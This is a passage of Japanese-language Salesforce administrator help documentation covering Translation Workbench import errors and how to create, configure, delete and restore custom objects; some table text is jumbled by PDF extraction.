イルを含む .zip ファイルのみをイン
ポートできます。

無効なインポートファイルです。
インポートする .stf または .zip ファ
イルを選択してください。

ソースファイルをエクスポートし
て、選択リスト値の順序をインポー

ソースファイルの選択リスト値の
順序が設定と一致しません。

キーが追加され、独自の順序で並
び替えられています。ファイルを
再エクスポートして、両方のファ
イルのキーを一致させてください。

トファイルに合わせ、再度インポー
トします。

データを編集して、余分なタブ、
改行、または行頭復帰を削除する

インポートするファイルのエラー
メッセージで示された行に、余分

行の列数に誤りがあります: {x}。
ファイル内でタブ (\\t)、改行 (\\n)、

かエスケープし、インポートするなタブ、改行、行頭復帰がありま
す。

および行頭復帰 (\\r) がエスケープさ
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トラブルシューティングの手順意味エラーメッセージ

れているかどうか確認してくださ
い。

ファイルに、エクスポートしたファ
イルと同じ列数があることを確認
します。

Salesforceカスタマーサポートにお問
い合わせください。

ファイルのエクスポート中に、
Salesforceで予期しない問題が発生し
ました。

エクスポート要求は失敗しました。
もう一度試すか、サポートに連絡
してください。

Salesforceカスタマーサポートにお問
い合わせください。

ファイルのインポート中に、
Salesforceで予期しない問題が発生し
ました。

インポート要求は失敗しました。
もう一度試すか、サポートに連絡
してください。

トランスレーションワークベンチ
に使用する言語を追加し、ファイ
ルをもう一度インポートします。

インポートするファイルは、トラ
ンスレーションワークベンチに追
加されていない言語で作成されて
います。

組織には {言語} の権限がありませ
ん。

関連トピック:

翻訳ファイルのエクスポート
翻訳済みファイルのインポート

トランスレーションワークベンチのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

トランスレーションワークベンチを最も効果的に使用するには、次のヒントを
参考にしてください。
• 翻訳者に翻訳する言語を知らせます。
• 新しい翻訳コンポーネントが組織に追加されたときに、すべての翻訳者に通

知します。
• レポートまたはリストビューをカスタマイズする場合、個人の言語の検索条

件値を使用するようにユーザにアドバイスします。[次の文字列で始まる]ま
たは contains演算子を使用する場合、入力した検索条件値の言語を選択す
るようにアドバイスします。

• トランスレーションワークベンチを使用して複数の言語に翻訳されるカスタ
ムレポートタイプを作成するときは、組織のデフォルト言語に合わせて個人
の言語を設定することをお勧めします。こうすると、翻訳される単語が翻訳
者に正しい言語で表示されます。

• Salesforce では、すべてのカスタマイズが組織のデフォルト言語で入力されると想定します。グローバル管
理者は組織のデフォルト言語で作業する必要があります。
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独自の方法でのデータの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できるカスタマイズ
のオプションは、
Salesforce のエディション
によって異なります。

ユーザ権限

設定オプションを参照す
る
• 「設定・定義を参照す

る」

組織をカスタマイズする
• 「アプリケーションの

カスタマイズ」

Salesforce データを最適化し、ユーザの固有のニーズに適合させます。自分にとっ
て最も意味をなすように組み合わせたデータを使用して、独自のオブジェクト
を作成できます。

組織固有の情報の保存
カスタムオブジェクトを作成し、組織固有の情報を保存します。カスタムオ
ブジェクトが検索可能かどうか、共有をサポートするかどうか、Bulk APIおよ
びストリーミング API へのアクセスを含めるどうかを選択します。
独自のデータモデルの設計
スキーマビルダーは、すべてのオブジェクトとリレーションをアプリケー
ションで表示および変更するための動的な環境を提供します。これにより、
データモデルまたはスキーマを設計、実装、変更する作業が大幅に簡略化さ
れます。スキーマビルダーはデフォルトで有効になっています。
カスタムデータセットの作成
カスタムデータセットを作成したり、組織、プロファイル、またはユーザの
カスタムデータを作成および関連付けたりするには、カスタム設定を使用し
ます。
項目のカスタマイズ
標準およびカスタム項目をカスタマイズし、組織を固有の要件に合わせて調
整します。
数式を使用した項目値の計算
数式とは、他の項目、式、または値から値を取得するアルゴリズムのことです。数式は、他の項目に基づ
いて、項目の値を自動的に計算します。
レコードからのメール生成
差し込み項目とは、メールテンプレート、差し込み印刷テンプレート、カスタムリンク、またはレコード
の値を投入する数式を入力できる項目です。たとえば、差し込み項目をメールテンプレートに配置して、
一般的な「Hello!」ではなく受信者の名前を挨拶に含めることができます。
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組織固有の情報の保存
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクトを作成し、組織固有の情報を保存します。カスタムオブ
ジェクトが検索可能かどうか、共有をサポートするかどうか、Bulk API およびス
トリーミング API へのアクセスを含めるどうかを選択します。
カスタムオブジェクトは、Enterprise Application オブジェクトまたは Light Application

オブジェクトとして分類されます。これらの 2 つのカテゴリの違いは、Light

Application オブジェクトでは、共有、Bulk APIへのアクセス、またはストリーミン
グ API へのアクセスがサポートされていないことです。
各カテゴリの組織の利用状況を追跡する必要がある場合、[ユーザライセンス] 主
オブジェクトと [ユーザライセンス総計値別のカスタムオブジェクト利用] 子オ
ブジェクトを使用してカスタムレポートタイプを作成します。
デフォルトでは、すべてのカスタムオブジェクトは Enterprise Application オブジェ
クトです。カスタムオブジェクトをLight Application オブジェクトにするには、オ
ブジェクトの詳細ページで [共有を許可]、[Bulk API アクセスを許可]、およ
び [ストリーミング API アクセスを許可] を無効にします。

カスタムオブジェクトの管理
カスタムオブジェクトの作成、カスタマイズ、編集、削除、切り捨てを行って、取引先や取引先責任者な
どの標準オブジェクトで提供される機能を拡張します。
組織のユーザライセンスの種類別カスタムオブジェクト利用状況の追跡
ユーザに割り当てられているカスタムオブジェクトの数を追跡するには、[ユーザライセンス] オブジェク
トおよび [ユーザライセンス総計値別のカスタムオブジェクト利用] オブジェクトを使用してカスタムレポー
トタイプを作成します。
オブジェクトリレーションの概要
オブジェクトを相互にリンクするリレーションを作成し、ユーザがレコードを表示するときに関連データ
も参照できるようにします。たとえば、「Bugs」という名前のカスタムオブジェクトをケースにリンクし
て、顧客のケースに関連付けられた商品の欠陥を追跡します。
カスタムオブジェクトのレコードタイプの作成
カスタムオブジェクト用の検索レイアウトのカスタマイズ
カスタムオブジェクトのセキュリティ
セキュリティ設定を連携させ、カスタムオブジェクトへのアクセス権を非常に柔軟に制御する方法につい
て説明します。
カスタムオブジェクトの活動の有効化に関するメモ

関連トピック:

組織のユーザライセンスの種類別カスタムオブジェクト利用状況の追跡

5315

組織固有の情報の保存コードではなくてクリックによる Salesforce の拡張



カスタムオブジェクトの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

管理パッケージは、
Database.comでは利用で
きません。

ユーザ権限

カスタムオブジェクトを
作成、編集する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトの作成、カスタマイズ、編集、削除、切り捨てを行って、
取引先や取引先責任者などの標準オブジェクトで提供される機能を拡張します。

メモ: システム管理者がヘルプのないタブを作成している場合があります。
カスタムオブジェクトのタブの動作を理解するためにヘルプが必要な場合
は、システム管理者にお問い合わせください。

オブジェクト管理設定には、組織に定義されているカスタムオブジェクトが一
覧表示されます。このリストから次の操作を実行できます。
• カスタムオブジェクトを定義します。
• カスタムオブジェクトの詳細情報を表示します。

カスタマイズできる追加の機能としては、検索およびレポートの有効化、活
動の追跡、項目履歴の追跡、Salesforce カスタマーポータルへのオブジェクト
の対応などがあります。

• カスタムオブジェクトの定義を更新するには、[編集] をクリックして、必要
な項目を更新します。

メモ: [レポートを許可]項目、[活動を許可]項目、および [検索を許可]

項目は、[管理-リリース済み] ではロックされていません。また、管理
パッケージの今後のリリースでは、開発者による変更が可能です。

• カスタムオブジェクトを削除するには、[削除] をクリックします。
• カスタムオブジェクトを切り捨てるには、[切り捨て] をクリックします。
• 削除されたカスタムオブジェクトを表示するには、[削除済みオブジェクト]

をクリックします。括弧の中には、組織の削除されたカスタムオブジェクト
の総数が示されます。

カスタムオブジェクトの詳細ページには、標準項目、カスタム項目、項目履歴管理、リレーション、カスタム
リンク、検索レイアウト、ページレイアウト、オブジェクト制限など、オブジェクトのさまざまな特性に関す
る情報が表示されます。実行できる操作
• 詳細を表示するには、それぞれの情報をクリックします。
• カスタム項目を削除するには、[カスタム項目 & リレーション] セクションでその名前の横の [削除]をクリッ

クします。
• 表示する件数を増やすには、ページの下部にある [さらに表示] または関連リストの下にある [さらに表示]

をクリックします。
• [新規] をクリックすると、新規の項目を直接追加できます。

メモ: オブジェクトの制限割合 (%) は、切り上げではなく、切り捨てられます。たとえば、組織が特定の
カスタマイズの制限の 95.55% を使用している場合、オブジェクト制限には 95% と表示されます。

カスタムオブジェクトおよび外部オブジェクトのリリース状況
カスタムオブジェクトの定義
組織に固有の情報を追跡および保管します。使用している Salesforce 環境に応じて、異なる手順に従います。
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カスタムオブジェクトの変更
カスタムオブジェクト項目の定義
カスタムオブジェクトの削除
削除されたカスタムオブジェクトの管理
カスタムオブジェクトの切り捨て
オブジェクトの切り捨てを使用してレコードを削除する前に、オブジェクトの切り捨ての実行内容につい
て理解することが重要です。
カスタムオブジェクトの切り捨て
カスタムオブジェクトの切り捨てにより、オブジェクトのすべてのレコードを完全に削除できます。ただ
し、空のオブジェクトとそのメタデータは保持されます。

関連トピック:

検索を高速化するためのガイドライン
組織固有の情報の保存
オブジェクト管理設定の検索

5317

組織固有の情報の保存コードではなくてクリックによる Salesforce の拡張



カスタムオブジェクトおよび外部オブジェクトのリリース状況

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタムオブジェクトお
よび外部オブジェクトを
リリースする
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトや外部オブジェクトの開発中は、そのオブジェクトがユー
ザに表示されたり、オブジェクトをユーザが操作したりすることを回避したい
場合があります。ユーザがレイアウトの変更にストレスを感じたり、開発中の
カスタム項目が削除されたときにデータを失ったりすることがあるため、作業
が完了するまで新規オブジェクトの表示を制御します。
オブジェクト定義の [リリース状況]設定を使用して、ユーザがオブジェクトお
よび関連付けられているカスタムタブ、関連リスト、およびレポートを参照お
よび使用できるタイミングを制御します。
• カスタムオブジェクトまたは外部オブジェクトの新規作成時に、[リリース

状況] に「開発中」を選択します。これにより、設計およびテスト中はユー
ザに表示されなくなります。「アプリケーションのカスタマイズ」権限を持
つユーザのみがオブジェクトタブ、検索結果、関連リスト、レポートのデー
タ型を参照できます。

• オブジェクト、関連カスタムタブ、関連リスト、レポートをすべてのユーザ
が使用できるようにする場合は、[リリース状況]を「リリース済み」に変更
します。

• カスタムオブジェクトまたは外部オブジェクトのリリース後にそのオブジェ
クトを機能強化する場合は、[リリース状況] を「開発中」に戻します。

メモ: カスタムレポートタイプの主オブジェクトがカスタムオブジェクト
または外部オブジェクトで、その [リリース状況] が [リリース済み] から
[開発中] に変われば、カスタムレポートタイプの [リリース状況] も同じ
ように変わります。

関連トピック:

検索を高速化するためのガイドライン

カスタムオブジェクトの定義
組織に固有の情報を追跡および保管します。使用している Salesforce 環境に応じて、異なる手順に従います。

Lightning Experience でのカスタムオブジェクトの定義
組織に固有の情報を追跡および保管します。Lightning Experience では、画面上部のナビゲーションバーの左
側に [アプリケーションランチャー]アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表
示されません。
Salesforce Classic でのカスタムオブジェクトの定義
組織に固有の情報を追跡および保管します。
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カスタムオブジェクト定義の項目
カスタムオブジェクトを作成する場合、オブジェクトへのアクセス方法を定義するために必要な項目がい
くつかあります。
カスタムオブジェクトの作成に関する考慮事項
カスタムオブジェクトを作成する前に、次の考慮事項を必ず確認してください。

関連トピック:

検索を高速化するためのガイドライン
オブジェクトリレーションの概要
オブジェクトレベルのヘルプの定義

Lightning Experience でのカスタムオブジェクトの定義

エディション

使用可能なインター
フェース: Lightning
Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトを
作成、編集する
• 「アプリケーションの

カスタマイズ」

組織に固有の情報を追跡および保管します。Lightning Experience では、画面上部
のナビゲーションバーの左側に [アプリケーションランチャー] アイコン ( ) が
表示されます。Salesforce Classic では、このアイコンは表示されません。
1. [設定] の任意のページの右上から、[作成] > [カスタムオブジェクト]をクリッ

クします。
2. カスタムオブジェクトの項目を入力します。
3. 新しいオブジェクトを保存します。

関連トピック:

カスタムオブジェクト定義の項目
カスタムオブジェクトの作成に関する考慮事項
カスタムオブジェクトの定義
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Salesforce Classic でのカスタムオブジェクトの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトを
作成、編集する
• 「アプリケーションの

カスタマイズ」

組織に固有の情報を追跡および保管します。
1. [設定] から、[クイック検索]ボックスに「オブジェクト」と入力し、[オブジェ

クト] を選択します。
2. [新規カスタムオブジェクト] をクリックします。
3. ウィザードに従ってカスタムオブジェクトの項目を入力します。
4. 新しいオブジェクトを保存します。

関連トピック:

カスタムオブジェクト定義の項目
カスタムオブジェクトの作成に関する考慮事項
カスタムオブジェクトの定義

カスタムオブジェクト定義の項目

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクトを作成する場合、オブジェクトへのアクセス方法を定義
するために必要な項目がいくつかあります。

メモ: システム管理者がヘルプのないタブを作成していて、カスタムオブ
ジェクトの動作を理解するのに支援が必要な場合は、システム管理者にお
問い合わせください。

説明項目

この名前は、ユーザインターフェース
ページでオブジェクトを参照するため
に使用されます。

表示ラベル

オブジェクトの複数形の表示ラベル。
このオブジェクトにタブを作成する
と、そのタブにこの名前が使用されま
す。

表示ラベル(複数形)

組織のデフォルト言語で必要な場合
は、表示ラベルの性を指定します。こ

性別

の項目は、組織のデフォルトの言語で
文法的な性が区別される場合に表示さ
れます。個人の言語設定は、この項目
が表示されるか否かに影響しません。
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説明項目

組織のデフォルト言語で必要な場合は、表示ラベルの
先頭が「a」ではなく「an」かどうかを示します。

母音で始まる場合はチェック

API を使用しているときにオブジェクトの参照に使用
する一意の名前。管理パッケージでは、この名前によ

オブジェクト名

り、パッケージのインストール時に名前が競合するこ
とを防ぎます。英数字とアンダースコアのみを使用し
ます。名前は英字で開始し、スペースを含めることは
できません。また、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制
約があります。

オブジェクトの説明 (省略可能)。説明

カスタムオブジェクトレコードのホーム (概要) ペー
ジ、編集ページ、詳細ページ、リストビュー、および

カスタムヘルプの設定

関連リストから、ユーザが[このページのヘルプ]をク
リックしたときに表示される内容を定義します。
どのカスタムオブジェクトレコードにも使用できる標
準の Salesforce ヘルプを表示するには、[Salesforce 標準
の [ヘルプ & トレーニング] ウィンドウを開く] を選択
します。
カスタムオブジェクトのカスタムオブジェクトレベル
のヘルプを表示するには、[Visualforceページを使って
ウィンドウを開く] を選択し、Visualforce ページを選択
して、そのカスタムオブジェクトのページから状況に
応じたヘルプリンクのリンク先として使用します。

メモ: この設定は、ページ上部の [ヘルプ & ト
レーニング] リンクには影響を与えません。この
リンクは、常にSalesforceの [ヘルプ & トレーニン
グ] ウィンドウを開きます。

ページレイアウト、リストビュー、関連リスト、検索
結果に使用する名前。

レコード名

レコード名の項目の種別 (テキストまたは自動採番)。
名前の代わりに一意の ID を使用するレコードは、自
動採番され、常に参照のみ項目となります。

データ型

自動採番されたレコード名の場合、表示形式を入力し
ます。中括弧のセットは 2 つまで使用できます。詳細
は、「表示形式」 (ページ5387)を参照してください。

表示形式
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説明項目

自動採番されたレコード名の場合、このカスタムオブ
ジェクトの最初のレコードを作成するときに使用する
番号を入力します。

開始番号

カスタムオブジェクト中のデータをレポートに使用で
きるようにします。
カスタムオブジェクトのレポートを作成する場合、カ
スタムオブジェクトが標準オブジェクトと関連しない

レポートを許可

限り、[その他のレポート]レポートタイプカテゴリを
選択します。カスタムオブジェクトが標準オブジェク
トと主従関係になっている場合、または標準オブジェ
クトの参照オブジェクトになっている場合は、代わり
にレポートタイプカテゴリとして標準オブジェクトを
選択します。

ユーザが、カスタムオブジェクトレコードに関連する
予定されている行動と ToDo を対応付けられるように
します。

活動を許可

ユーザが、このカスタムオブジェクト種別のレコード
を Chatter グループに追加できるようにします。
true の場合、権限のあるユーザは、グループパブ
リッシャーを使用してこのオブジェクト種別のレコー

Chatter グループ内で許可

ドを作成できます。作成されたレコードはグループに
関連付けられ、グループレコードリストに表示されま
す。false の場合、権限のあるユーザは、グループ
パブリッシャーを使用してこのオブジェクト種別のレ
コードを作成できますが、作成されたレコードはグ
ループに関連付けられません。

組織でディビジョンが有効になっている場合は、この
オプションをオンにして、ディビジョンに対しカスタ

ディビジョンを有効化

ムオブジェクトを有効にします。Salesforceのクイック
検索結果、リストビュー、レポート、およびその他の
領域でグループのレコードをディビジョンごとに操作
できます。Salesforce は、カスタムオブジェクトに
[ディビジョン] 項目を追加します。そのカスタムオ
ブジェクトが主従関係の主側であれば、従側のカスタ
ムオブジェクトも [ディビジョン] 項目を取得し、マ
スタレコードからディビジョンを継承します。
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説明項目

すべてのポータルユーザがカスタムオブジェクトを使
用できるようにします。
このオプションは、組織にカスタマーポータルがある
場合にのみ使用できます。

カスタマーポータルで利用可

組織でコミュニティを有効化すると、このオプション
は表示されなくなり、すべてのカスタムオブジェクト
がコミュニティで使用できるようになります。コミュ
ニティを有効化する前に、カスタマーポータルがあ
り、このオプションを選択していないカスタムオブ
ジェクトがあった場合、そのようなオブジェクトはカ
スタマーポータルで使用できるようになります。

カスタムオブジェクトレコードの項目に加えた変更を
組織で追跡できます。たとえば、項目値を変更した

項目履歴管理

ユーザ、変更時期、変更前と変更後の値を追跡できま
す。履歴データはレポートにも使用できるため、この
機能が有効になっていると、簡単に監査レポートを作
成できます。

この設定が有効になっている場合、このカスタムオブ
ジェクトは Enterprise Application オブジェクトです。こ

共有を許可

の設定が有効になっていない場合、このカスタムオブ
ジェクトは Light Application オブジェクトです。
この設定が有効になっている場合、[Bulk API アク
セスを許可]と [ストリーミング API アクセスを許可]

も有効にする必要があります。

この設定が有効になっている場合、このカスタムオブ
ジェクトは Enterprise Application オブジェクトです。こ

Bulk API アクセスを許可

の設定が有効になっていない場合、このカスタムオブ
ジェクトは Light Application オブジェクトです。
この設定が有効になっている場合、[共有を許可] と
[ストリーミング API アクセスを許可] も有効にする
必要があります。

この設定が有効になっている場合、このカスタムオブ
ジェクトは Enterprise Application オブジェクトです。こ

ストリーミング API アクセスを許可

の設定が有効になっていない場合、このカスタムオブ
ジェクトは Light Application オブジェクトです。
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説明項目

この設定が有効になっている場合、[Bulk API アク
セスを許可] と [共有を許可] も有効にする必要があ
ります。

カスタムオブジェクトが他のユーザから参照できるよ
うになっているかどうかを示します。

リリース状況

検索時にカスタムオブジェクトのレコードの検索を
ユーザに許可するには、[デフォルトで表示] または

検索を許可

[デフォルトで非表示] に設定されたカスタムタブを
作成します。カスタムタブを作成すると、カスタムオ
ブジェクトの [検索を許可] 設定が有効になります。
カスタムオブジェクトがカスタムタブに関連付けられ
ている場合にのみ、カスタムオブジェクトレコードを
Salesforceで検索できます。ユーザは、表示用のタブを
追加する必要はありません。

ユーザにカスタムオブジェクトレコードへのメモと添
付ファイルの添付を許可します。
このオプションは、新規オブジェクトの作成時にのみ
使用できます。

デフォルトのページレイアウトに...

カスタムオブジェクトを保存した後に、カスタムタブ
ウィザードを起動します。

このカスタムオブジェクトの保存後に、新規カスタムタ
ブウィザードを起動する

関連トピック:

カスタムオブジェクトの定義
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カスタムオブジェクトの作成に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクトを作成する前に、次の考慮事項を必ず確認してください。
オブジェクトの権限

Enterprise Edition、Unlimited Edition、Performance Edition、Professional Edition、および
Developer Edition では、カスタムオブジェクトを作成すると、「すべてのデー
タの参照」または「すべてのデータの編集」が無効なプロファイルの、その
オブジェクトに対する「参照」、「作成」、「編集」、「削除」権限が無効
になります。権限セットまたはカスタムプロファイルのカスタムオブジェク
トに対するアクセス権限を有効にして、アクセスを必要とするユーザに割り
当てます。
Contact Manager Edition および Group Edition では、カスタムオブジェクトを作成
すると、すべてのプロファイルのそのオブジェクトに対する「参照」、「作
成」、「編集」、「削除」権限が有効になります。

共有モデル
組織の共有設定は、カスタムオブジェクトのデータ共有モデルを制御しま
す。詳細は、「カスタムオブジェクトのセキュリティ」 (ページ 5349)を参照してください。

カスタムオブジェクト管理の委任
カスタムオブジェクトを作成したら、その管理権限をシステム管理者以外のユーザに委任できます。

キュー
カスタムオブジェクトの作成後、カスタムオブジェクトレコードの所有権をユーザに配布するキューを定
義できます。

関連トピック:

カスタムオブジェクトの定義
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カスタムオブジェクトの変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトのユーザインターフェースに対してカスタマイズできる
内容は次のとおりです。
• カスタムタブを作成する (「ユーザへのカスタムオブジェクトのデータの表

示」を参照)

• カスタム項目とリレーションを作成する (「カスタムオブジェクト項目の定
義」 (ページ 5327)を参照)

• カスタマイズしたボタンとリンクを追加してアクションを実行したり、他の
ページや Web サイトへリンクしたりする (「カスタムボタンとカスタムリン
クの定義」 (ページ 6320)を参照)

• レコードの詳細および編集ページにユーザごとに表示する項目を定義する
(「カスタムオブジェクト用のページレイアウトの作成」 (ページ5255)を参照)

• 検索結果、ルックアップダイアログ、およびカスタムオブジェクトタブの主
要リストに表示される項目を指定する (「カスタムオブジェクト用の検索レ
イアウトのカスタマイズ」 (ページ 5348)を参照)

• ユーザのプロファイルに応じて各ユーザに異なる選択リスト値とページレイ
アウトを表示するレコードタイプを作成する (「カスタムオブジェクトのレ
コードタイプの作成」 (ページ 5347)を参照)
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カスタムオブジェクト項目の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ディビジョンは
Database.comでは使用で
きません。

ユーザ権限

標準項目を参照および編
集する
• 「アプリケーションの

カスタマイズ」

カスタム項目を作成する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクト項目には、カスタムオブジェクトレコードのデータが保
存されます。
カスタムオブジェクト用のカスタム項目

組織固有の情報を保存するカスタム項目を作成できます。また、カスタムオ
ブジェクトをSalesforceの他のオブジェクトに関連付けるカスタム関係項目も
作成できます。

カスタムオブジェクトの標準項目
カスタムオブジェクトには、次の標準項目が自動的に含まれます。編集可能
な項目に変更を加えるには、[編集] をクリックします。

説明項目

レコードを作成したユーザ。作成者

マルチ通貨が有効である場合のレコー
ドの通貨。

通貨

カスタムオブジェクトのレコードが帰
属するディビジョン。主従関係の
「従」カスタムオブジェクトは、主オ
ブジェクトからディビジョンを継承し
ます。他のレコードと関連付けられて
いないカスタムオブジェクトは、自動
的にグローバルディビジョンに入りま
す。ディビジョンを使用してデータを
分割している組織でのみ利用可能。

ディビジョン

最後にレコードを変更したユーザ。最終更新者

カスタムオブジェクトのレコードに付
けられる識別子。この名前は、ページ

名前

レイアウト、関連リスト、ルックアッ
プダイアログ、検索結果、およびタブ
ホームページの主要リストに表示され
ます。デフォルトでは、カスタムオブ
ジェクトのページレイアウトに必須項
目としてこの項目が追加されます。

カスタムオブジェクトのレコードに割
り当てられた所有者。カスタムオブ

所有者

ジェクトが主従関係の従側になると、
そのデータの所有権は主オブジェクト
(または主従関係が 2 つある場合にはプ
ライマリ主オブジェクト) に移るため、
[所有者] 項目は削除されます。
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説明項目

メモ: 主従関係の従側にあるカスタムオブジェ
クトでは、共有ルール、共有の直接設定、また
はキューを使用できません。これは、共有ルー
ル、共有の直接設定、またはキューには [所有
者] 項目が必要なためです。

カスタムオブジェクトの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

カスタムオブジェクトを
削除する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトを削除しても、Salesforce では削除したカスタムオブジェ
クトはごみ箱に追加されません。代わりに、[削除済みオブジェクト] リストに
15 日間表示されます。この期間、オブジェクトとそのデータは論理削除されま
す。つまり、オブジェクトとそのデータを復元することも完全に消去 (物理削除)

することもできます。15 日を過ぎると、オブジェクトとそのデータは自動的に
物理削除されます。
論理削除したカスタムオブジェクトとそのデータは組織の制限の対象に含まれ
ますが、物理削除したものは含まれません。
カスタムオブジェクトを削除する手順は、次のとおりです。
1. カスタムオブジェクトのオブジェクト管理設定から、削除するオブジェクト

の横にある [削除] をクリックします。
2. 確認メッセージが表示されたら、[カスタムオブジェクトを削除します]チェッ

クボックスをオンにして、[削除] をクリックします。

特定のカスタムオブジェクトを削除できない理由は?

次の場合は、カスタムオブジェクトを削除できません。
• 主従関係の主側にある。
• 別のオブジェクトの積み上げ集計項目で使用されるカスタム項目が含まれて

いる。
• Apex、Visualforce ページ、またはレポート作成スナップショットで参照されている。
• 重複ルールまたは一致ルールによって参照されている。
• 100,000件を超えるレコードが含まれている。削除するオブジェクトに 100,000 件を超えるレコードが含まれ

ている場合は、まず適切な数のレコードを削除してからオブジェクトを削除します。

カスタムオブジェクトの削除結果
カスタムオブジェクトを削除すると、次のようになります。
• 削除されたカスタムオブジェクトレコードの URL へのブックマークをクリックすると、「Insufficient

Privileges (アクセス権がありません)」というメッセージが表示されます。
• オブジェクトが Force.com AppExchange パッケージから削除されます。
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• 削除したオブジェクトが主従関係の従側になっている場合は、主従関係を参照関係に変更します。
• 次のものが削除または消去されます。

– オブジェクトのカスタムタブ
– オブジェクトのリストビューとワークフロールール
– データセット、モバイルビュー、除外項目などのモバイル設定
– 削除されたオブジェクトが主従関係の従側になっている場合の、オブジェクトに関連付けられている標

準レポートタイプ、および標準レポートタイプに基づくレポート
• 次のものを非表示または無効にします。

– カスタムオブジェクト定義および関連定義
– ごみ箱の中にあるレコードを含む、オブジェクトのレコードおよび関連レコード
– 削除したオブジェクトを主オブジェクトとしているカスタムレポートタイプ
– 削除したオブジェクトを主オブジェクトとしているカスタムレポート
– オブジェクトのカスタム数式項目
– オブジェクトのカスタム入力規則および承認プロセス

メモ: 削除された項目、非表示、無効になっている項目、または無効化された項目の多くは、カスタムオ
ブジェクトを復元すると復元できます。削除されたカスタムオブジェクトの復元についての詳細は、「削
除されたカスタムオブジェクトの管理」を参照してください。

カスタムオブジェクトの物理削除結果
カスタムオブジェクトが手動で、または 15 日後に自動的に物理削除された場合、次のようになります。
• カスタムオブジェクトの定義およびデータは完全に削除され、復元できなくなります。
• カスタムオブジェクトとそのデータは、組織の制限の対象に含まれなくなります。
• 主レコードが削除された結果として 1 つ以上の従レコードが自動的に削除されていて、削除されたオブジェ

クトが主従関係の従側である場合、現在ごみ箱にある主レコードは復元できません。主レコードを復元し
ようとすると、エラーになります。

メモ: これは、主レコードがごみ箱にあるときに、削除された従レコードのカスタムオブジェクト定
義が物理削除される場合にのみ発生します。

関連トピック:

削除されたカスタムオブジェクトの管理
オブジェクト管理設定の検索
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削除されたカスタムオブジェクトの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

削除されたカスタムオブ
ジェクトを復元する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトを
完全に削除する
• 「アプリケーションの

カスタマイズ」

削除されたカスタムオブジェクトは、[削除済みオブジェクト] リストに 15 日間
表示されます。この期間、オブジェクトとそのデータを完全に削除することも、
復元することもできます。カスタムオブジェクトを復元する場合、手動クリー
ンアップを行って、オブジェクトを使用するリストビューおよび他のカスタマ
イズを復元する必要がある場合があります。
• 削除されたカスタムオブジェクトのリストを表示する手順は、次のとおりで

す。
1. カスタムオブジェクトのオブジェクト管理設定に移動します。
2. リスト下部の [削除済みオブジェクト] をクリックします。
[削除済みオブジェクト] リンクは、削除されたカスタムオブジェクトが組織
で少なくとも 1 つ存在する場合にのみ表示されます。括弧内の数字は、削除
されたカスタムオブジェクトの合計数を表します。

• [削除済みオブジェクト] リストでは、次の操作を実行できます。
– オブジェクトの表示ラベルをクリックして、詳細を表示する
– [消去] をクリックして、オブジェクトとそのデータを完全に削除する
– [復元] をクリックして、オブジェクトとそのデータを復元する

カスタムオブジェクトの物理削除結果
カスタムオブジェクトが手動で、または 15 日後に自動的に物理削除された場
合、次のようになります。
• カスタムオブジェクトの定義およびデータは完全に削除され、復元できなく

なります。
• カスタムオブジェクトとそのデータは、組織の制限の対象に含まれなくなります。
• 主レコードが削除された結果として 1 つ以上の従レコードが自動的に削除されていて、削除されたオブジェ

クトが主従関係の従側である場合、現在ごみ箱にある主レコードは復元できません。主レコードを復元し
